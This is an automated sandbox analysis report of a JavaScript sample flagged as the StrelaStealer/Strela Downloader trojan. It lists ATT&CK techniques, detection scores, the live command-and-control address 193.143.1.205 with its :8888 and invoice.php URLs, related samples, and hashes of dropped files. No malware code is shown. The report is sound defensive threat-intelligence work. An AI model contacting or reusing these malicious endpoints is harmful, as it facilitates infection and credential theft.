Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1110167182254330320.js	13%	Virustotal		Browse
1110167182254330320.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://crl.ver)	svchost.exe, 0000000E.00000002.2558450041.0000025B5F60F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false	high
https://www.adobe.co	ReaderMessages.10.dr	false	high
https://g.live.com/odclientsettings/Prod-C:	edb.log.14.dr	false	high
http://193.143.1.205:8888/pace	net.exe, 0000000C.00000002.1333033511.000001C787148000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1333464899.000001C7871A0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1333033511.000001C787148000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1325551413.000001C78719E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1328318397.000001C787178000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1333138836.000001C787178000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 0000000E.00000003.1326974960.0000025B5F420000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589049
Start date and time:	2025-01-11 08:49:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1110167182254330320.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 3.219.243.226, 3.233.129.217, 52.22.41.97, 52.6.155.20, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 50.16.47.176, 23.47.168.24, 4.245.163.56
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:50:40	API Interceptor	25x Sleep call for process: powershell.exe modified
02:50:44	API Interceptor	1x Sleep call for process: net.exe modified
02:50:44	API Interceptor	2x Sleep call for process: svchost.exe modified
02:50:52	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2784527361260704938.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	89131879533771361.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24283946104055016.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26680121751816526037.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82408542104643172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807629407616546
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9+:0J7adfWuK0p/QDfKoPeuP0aN4fqoxJ
MD5:	4DE66D8717E9EF6AC91C735831855686
SHA1:	B2832FA455B7D9D74A50F4876C25818FE33BF0EE
SHA-256:	D5A2B08CBD142521ACDAE98882C6A40CE5086C45FF7F7D3465AB1E7C1724D48D
SHA-512:	77EE67A284210A950A9FFE09AD5FBDD0F17EBC5937EA02BDA3D102345254AA9DA45ED6D28D561C77531BFF063CDDED3A319360E40F66D4D38BEAD83BD1CAA8F9
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc9a0f64f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880192265005268
Encrypted:	false
SSDEEP:	1536:kXYSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzB:kXYazaPv4V4fXq2UaB
MD5:	840761C943D081CD6A099804AEDD3F8E
SHA1:	3B9C686E4D298A7A96988D88054E88A39B8CB0D2
SHA-256:	4D9E56299AB716CDDF7FCF7C5EC5DA924180EBF6566E68CDB0080E7800DB1C28
SHA-512:	C67CD8412BF06AE329A032ED9FEA1228BCCB565097A14BFF29D13AABA04931576A50DE77CBB46D490B148F293DE9B838CED65B4447CF6639622C4D39D62523C6
Malicious:	false
Preview:	..O... ...............X\...;...{......................X............{..-2...}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{.....................................-2...}.6................Z.Y.-2...}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08127187958681875
Encrypted:	false
SSDEEP:	3:Em//EYe/DEXlVG0+q2Iqe8lPplollNTt/4ll/Q6beV/:EmUz/2GE8lEHtc6V
MD5:	B6D19D43A57D93E0DF1EE2E271A5CCBB
SHA1:	1C8E48D067FC55E96063E3DF306B377862E45495
SHA-256:	EFE750A693CA4CAD40F4CAC8577C0AA088FE7C22029580427850904AC3C43721
SHA-512:	B813A872F48250F6FAFEED1F846BC5EE2FC511F9E55C9A8F8DB54EA7420EAA791A96C4075ABAE03EEA138CF1F26E5854F8E6F8866AA31E27DBEB8029090C8E24
Malicious:	false
Preview:	d..T.....................................;...{..-2...}.......{...............{.......{....:......{.................Z.Y.-2...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.183991096272491
Encrypted:	false
SSDEEP:	6:iOjvIq2PFi2nKuAl9OmbnIFUtBXZmwPFkwOFi2nKuAl9OmbjLJ:7jAvdZHAahFUtN/d5wZHAaSJ
MD5:	0C23F2A5959E6DAA6C39D93ED447AF6C
SHA1:	6F934A8A13493B923460F3B9A13495E77CDB9214
SHA-256:	12EF1605406ADF0364A245408C5F579323A3BD9D2FB589BB3C305A613F265A7E
SHA-512:	01626A3F8D5CC366A05FFBFDE44FD41DE578B65A88BA5ECED7F9C32DE57D4D33AED3FCEFBFD6393970DAE5032C04C92BF1BFA58466712951317E7F22D7FFE982
Malicious:	false
Preview:	2025/01/11-02:50:44.737 1a30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:50:44.739 1a30 Recovering log #3.2025/01/11-02:50:44.739 1a30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.183991096272491
Encrypted:	false
SSDEEP:	6:iOjvIq2PFi2nKuAl9OmbnIFUtBXZmwPFkwOFi2nKuAl9OmbjLJ:7jAvdZHAahFUtN/d5wZHAaSJ
MD5:	0C23F2A5959E6DAA6C39D93ED447AF6C
SHA1:	6F934A8A13493B923460F3B9A13495E77CDB9214
SHA-256:	12EF1605406ADF0364A245408C5F579323A3BD9D2FB589BB3C305A613F265A7E
SHA-512:	01626A3F8D5CC366A05FFBFDE44FD41DE578B65A88BA5ECED7F9C32DE57D4D33AED3FCEFBFD6393970DAE5032C04C92BF1BFA58466712951317E7F22D7FFE982
Malicious:	false
Preview:	2025/01/11-02:50:44.737 1a30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:50:44.739 1a30 Recovering log #3.2025/01/11-02:50:44.739 1a30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.153904068176364
Encrypted:	false
SSDEEP:	6:iOByq2PFi2nKuAl9Ombzo2jMGIFUtQ2/1ZmwQgRkwOFi2nKuAl9Ombzo2jMmLJ:7ByvdZHAa8uFUtQ29/3R5wZHAa8RJ
MD5:	EC51525B7DC8FA65D36F316568764D11
SHA1:	4B1C803A2425F78B44D71057FB15B962F89A417F
SHA-256:	A81117EEC0A6ED7C8E077FC0139E19857A0F2DCCD1FAA38F63D8496CCC891447
SHA-512:	F52706979E7B182DFE3D1FBC1A13F8BD15BFC35460CD7BD7E8D2BDD86CC90924734C2E227EC456BF523FC90A0734D91B1858D7DAB8FA81D5FAAE5E206046EDC6
Malicious:	false
Preview:	2025/01/11-02:50:44.798 1de4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:50:44.800 1de4 Recovering log #3.2025/01/11-02:50:44.802 1de4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.153904068176364
Encrypted:	false
SSDEEP:	6:iOByq2PFi2nKuAl9Ombzo2jMGIFUtQ2/1ZmwQgRkwOFi2nKuAl9Ombzo2jMmLJ:7ByvdZHAa8uFUtQ29/3R5wZHAa8RJ
MD5:	EC51525B7DC8FA65D36F316568764D11
SHA1:	4B1C803A2425F78B44D71057FB15B962F89A417F
SHA-256:	A81117EEC0A6ED7C8E077FC0139E19857A0F2DCCD1FAA38F63D8496CCC891447
SHA-512:	F52706979E7B182DFE3D1FBC1A13F8BD15BFC35460CD7BD7E8D2BDD86CC90924734C2E227EC456BF523FC90A0734D91B1858D7DAB8FA81D5FAAE5E206046EDC6
Malicious:	false
Preview:	2025/01/11-02:50:44.798 1de4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:50:44.800 1de4 Recovering log #3.2025/01/11-02:50:44.802 1de4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\74f82bf8-8f26-4554-996f-af682c6bf17f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.961929958720061
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqkiEsBdOg2HKcaq3QYiubpP7E4T3y:Y2sRdsSdMHl3QYhbd7nby
MD5:	EE371C53B9F51D630F7315B3BB94CC59
SHA1:	8A5E32F02D9117608F6449DBB0106391B8190EDE
SHA-256:	329AFAEE301C081C2EB3CF8569998165E3A3D98294124C84BBF859735BB2F61F
SHA-512:	5976F989289DE354329C6ADD3697D54BDD36AEE5F0B27BBEFD40FC0D3217037B53C0569572880DC0BE04A9FFBB6F921BA770D8E8738112390367AC27AD584E6E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141856496592","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":112932},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.961929958720061
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqkiEsBdOg2HKcaq3QYiubpP7E4T3y:Y2sRdsSdMHl3QYhbd7nby
MD5:	EE371C53B9F51D630F7315B3BB94CC59
SHA1:	8A5E32F02D9117608F6449DBB0106391B8190EDE
SHA-256:	329AFAEE301C081C2EB3CF8569998165E3A3D98294124C84BBF859735BB2F61F
SHA-512:	5976F989289DE354329C6ADD3697D54BDD36AEE5F0B27BBEFD40FC0D3217037B53C0569572880DC0BE04A9FFBB6F921BA770D8E8738112390367AC27AD584E6E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141856496592","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":112932},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.234093260083884
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVKUglahl5:wshFT0h7cZb2EVKZPEANcGIK5EVKjab
MD5:	F41583949D86F617245045DAF28DEE6D
SHA1:	A9175D65F4369F8BA5C39009DFC54D8C5E3D3387
SHA-256:	12FF164E54501144423C46778230FD50C82499AFBE6CFDEB2C05B63302C1F35A
SHA-512:	9D2179F4EA3739D3BC390A51629663E5BDE6A4D86DA02C8F97379A8C0207548D4BE1E5046EC5DE5960D97A87BB76C78494B903D441D572A5C1F027FD43299615
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.135452804890558
Encrypted:	false
SSDEEP:	6:iOkbgyq2PFi2nKuAl9OmbzNMxIFUtOR1ZmwweRkwOFi2nKuAl9OmbzNMFLJ:7kbgyvdZHAa8jFUtOb/weR5wZHAa84J
MD5:	BE5CF5921C984ECE77C806478EE63C80
SHA1:	C6733082F0F4458783E290C17C73426DDB007A9E
SHA-256:	56539D2229775C6385366082ED86923EE9587836BBD79F5B4141D1500E4D944F
SHA-512:	CFCEEE68AEAD0A31748A9D05F177537ED7DCB03B16F2F0D4931BECB245B16C9D193605589E0ABF2A59E2FA8ADB6247A2BA40340AEF60AA79C767D6B248CEE781
Malicious:	false
Preview:	2025/01/11-02:50:45.430 1de4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:50:45.431 1de4 Recovering log #3.2025/01/11-02:50:45.432 1de4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.135452804890558
Encrypted:	false
SSDEEP:	6:iOkbgyq2PFi2nKuAl9OmbzNMxIFUtOR1ZmwweRkwOFi2nKuAl9OmbzNMFLJ:7kbgyvdZHAa8jFUtOb/weR5wZHAa84J
MD5:	BE5CF5921C984ECE77C806478EE63C80
SHA1:	C6733082F0F4458783E290C17C73426DDB007A9E
SHA-256:	56539D2229775C6385366082ED86923EE9587836BBD79F5B4141D1500E4D944F
SHA-512:	CFCEEE68AEAD0A31748A9D05F177537ED7DCB03B16F2F0D4931BECB245B16C9D193605589E0ABF2A59E2FA8ADB6247A2BA40340AEF60AA79C767D6B248CEE781
Malicious:	false
Preview:	2025/01/11-02:50:45.430 1de4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:50:45.431 1de4 Recovering log #3.2025/01/11-02:50:45.432 1de4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4386319516233765
Encrypted:	false
SSDEEP:	384:yejci5GyiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0iurVgazUpUTTGt
MD5:	58B891479FEA2749C6575C65CBF2DB1B
SHA1:	A35AB794D1C01B05BDCA22D9C8A99012AE54911D
SHA-256:	B823BB4D764FA7F1B225427A872FEF3D0C7000796A34127FCA78A1781E45351D
SHA-512:	E2C1B9F2F20B4F0A5B5B1BBBB8BC4B501EE0547496A9F698E5CDCC79055297845593544222361651EC7F460E06C8DD2241E3797B169194CCFF123F20EE56DC63
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.775347932951564
Encrypted:	false
SSDEEP:	48:7Mpp/E2ioyVkOioy5oWoy1CUoy19dKOioy1noy1AYoy1Wioy1hioybioyjvoy1nP:7+pjukOJWPXKQAdYb9IVXEBodRBkI
MD5:	96D83951CB105D906405F5AC4642494F
SHA1:	A8D314E0765A13A2F5C445908EE3E74D1D25B458
SHA-256:	A45764B44DF617E13ADD20684274295338A0C10E1D1C64880354DF4296AE5F68
SHA-512:	E924817DE07D6E1F7AEAB7D2397012A790D31B974139A3BB769CD143BB6322745F89E2ACB7609B2C8DA5026C79232428998E315867185ABB71DA14083E271352
Malicious:	false
Preview:	.... .c........9...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
